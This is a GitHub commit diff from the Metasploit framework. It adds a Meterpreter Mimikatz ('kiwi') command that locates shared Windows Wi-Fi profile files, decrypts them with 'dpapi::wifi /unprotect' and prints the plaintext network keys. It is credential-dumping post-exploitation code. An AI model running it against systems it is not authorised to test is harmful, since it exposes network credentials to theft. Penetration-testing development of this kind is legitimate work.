Skip to content

Commit 6f763a6

Browse files
author
Brent Cook
committed
Land rapid7#8225, Expose the shared wifi profile dumping feature in Mimikatz
2 parents 3208986 + 271da4b commit 6f763a6

File tree

2 files changed

+111
-22
lines changed
  • lib/rex/post/meterpreter

2 files changed

+111
-22
lines changed

lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -379,6 +379,57 @@ def golden_ticket_create(opts={})
379379
content.join('')
380380
end
381381

382+
#
383+
# Access and parse a set of wifi profiles using the given interfaces
384+
# list, which contains the list of profile xml files on the target.
385+
#
386+
# @return [Hash]
387+
def wifi_parse_shared(wifi_interfaces)
388+
results = []
389+
390+
exec_cmd('"base64 /in:off /out:on"')
391+
wifi_interfaces.keys.each do |key|
392+
interface = {
393+
:guid => key,
394+
:desc => nil,
395+
:state => nil,
396+
:profiles => []
397+
}
398+
399+
wifi_interfaces[key].each do |wifi_profile_path|
400+
cmd = "\"dpapi::wifi /in:#{wifi_profile_path} /unprotect\""
401+
output = exec_cmd(cmd)
402+
403+
lines = output.lines
404+
405+
profile = {
406+
:name => nil,
407+
:auth => nil,
408+
:key_type => nil,
409+
:shared_key => nil
410+
}
411+
412+
while lines.length > 0 do
413+
line = lines.shift.strip
414+
if line =~ /^\* SSID name\s*: (.*)$/
415+
profile[:name] = $1
416+
elsif line =~ /^\* Authentication\s*: (.*)$/
417+
profile[:auth] = $1
418+
elsif line =~ /^\* Key Material\s*: (.*)$/
419+
profile[:shared_key] = $1
420+
end
421+
end
422+
423+
interface[:profiles] << profile
424+
end
425+
426+
results << interface
427+
end
428+
exec_cmd('"base64 /in:on /out:on"')
429+
430+
results
431+
end
432+
382433
#
383434
# List all the wifi interfaces and the profiles associated
384435
# with them. Also show the raw text passwords for each.

lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Lines changed: 60 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,8 @@ def commands
7272
'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)',
7373
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)',
7474
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)',
75-
'wifi_list' => 'List wifi profiles/creds',
75+
'wifi_list' => 'List wifi profiles/creds for the current user',
76+
'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)',
7677
}
7778
end
7879

@@ -303,37 +304,50 @@ def cmd_kerberos_ticket_use(*args)
303304
end
304305

305306
#
306-
# Dump all the wifi profiles/credentials
307+
# Dump all the shared wifi profiles/credentials
307308
#
308-
def cmd_wifi_list(*args)
309-
results = client.kiwi.wifi_list
309+
def cmd_wifi_list_shared(*args)
310+
interfaces_dir = '%AllUsersProfile%\Microsoft\Wlansvc\Profiles\Interfaces'
311+
interfaces_dir = client.fs.file.expand_path(interfaces_dir)
312+
files = client.fs.file.search(interfaces_dir, '*.xml', true)
310313

311-
if results.length > 0
312-
results.each do |r|
313-
table = Rex::Text::Table.new(
314-
'Header' => "#{r[:desc]} - #{r[:guid]}",
315-
'Indent' => 0,
316-
'SortIndex' => 0,
317-
'Columns' => [
318-
'Name', 'Auth', 'Type', 'Shared Key'
319-
]
320-
)
314+
if files.length == 0
315+
print_error('No shared WiFi profiles found.')
316+
else
317+
interfaces = {}
318+
files.each do |f|
319+
interface_guid = f['path'].split("\\")[-1]
320+
full_path = "#{f['path']}\\#{f['name']}"
321321

322-
print_line
323-
r[:profiles].each do |p|
324-
table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
325-
end
322+
interfaces[interface_guid] ||= []
323+
interfaces[interface_guid] << full_path
324+
end
325+
results = client.kiwi.wifi_parse_shared(interfaces)
326326

327-
print_line(table.to_s)
328-
print_line("State: #{r[:state]}")
327+
if results.length > 0
328+
display_wifi_profiles(results)
329+
else
330+
print_line
331+
print_error('No shared wireless profiles found on the target.')
329332
end
333+
end
334+
335+
true
336+
end
337+
338+
#
339+
# Dump all the wifi profiles/credentials for the current user
340+
#
341+
def cmd_wifi_list(*args)
342+
results = client.kiwi.wifi_list
343+
if results.length > 0
344+
display_wifi_profiles(results)
330345
else
331346
print_line
332347
print_error('No wireless profiles found on the target.')
333348
end
334349

335-
print_line
336-
return true
350+
true
337351
end
338352

339353
@@creds_opts = Rex::Parser::Arguments.new(
@@ -401,6 +415,30 @@ def cmd_creds_kerberos(*args)
401415

402416
protected
403417

418+
def display_wifi_profiles(profiles)
419+
profiles.each do |r|
420+
header = r[:guid]
421+
header = "#{r[:desc]} - #{header}" if r[:desc]
422+
table = Rex::Text::Table.new(
423+
'Header' => header,
424+
'Indent' => 0,
425+
'SortIndex' => 0,
426+
'Columns' => [
427+
'Name', 'Auth', 'Type', 'Shared Key'
428+
]
429+
)
430+
431+
print_line
432+
r[:profiles].each do |p|
433+
table << [p[:name], p[:auth], p[:key_type] || 'Unknown', p[:shared_key]]
434+
end
435+
436+
print_line(table.to_s)
437+
print_line("State: #{r[:state] || 'Unknown'}")
438+
end
439+
end
440+
441+
404442
def check_is_domain_user(msg='Running as SYSTEM, function will not work.')
405443
if client.sys.config.is_system?
406444
print_warning(msg)

0 commit comments

Comments
 (0)